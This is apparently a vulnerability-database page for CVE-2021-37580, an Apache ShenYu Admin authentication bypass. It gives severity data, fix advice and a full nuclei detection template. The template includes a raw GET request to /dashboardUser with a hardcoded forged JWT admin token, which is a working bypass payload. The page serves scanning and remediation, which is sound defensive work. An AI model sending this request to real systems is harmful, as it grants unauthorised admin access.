Browse / CVEs / CVE-2021-37580
CVE-2021-37580· apache / shenyu· CWE-287
Apache ShenYu Admin JWT - Authentication Bypass
criticalseverity
9.8CVSS score
40.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
Impact
This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
Fix
Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
How to confirm it
Send: GET /dashboardUser
Positive when: contains "query success" and "\"userName\":\"admin\"" and "\"code\":200" AND status 200Run it with nuclei: nuclei -id CVE-2021-37580 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-37580
info:
name: Apache ShenYu Admin JWT - Authentication Bypass
author: pdteam
severity: critical
description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
impact: |
This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
remediation: |
Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-37580
- https://github.com/fengwenhua/CVE-2021-37580
- https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
- http://www.openwall.com/lists/oss-security/2021/11/16/1
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-37580
cwe-id: CWE-287
epss-score: 0.40827
epss-percentile: 0.98668
cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: shenyu
tags: cve2021,cve,apache,jwt,shenyu,vkev,vuln
http:
- raw:
- |
GET /dashboardUser HTTP/1.1
Host: {{Hostname}}
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
matchers-condition: and
matchers:
- type: word
words:
- 'query success'
- '"userName":"admin"'
- '"code":200'
condition: and
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2021-37580
- https://github.com/fengwenhua/CVE-2021-37580
- https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
- http://www.openwall.com/lists/oss-security/2021/11/16/1
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from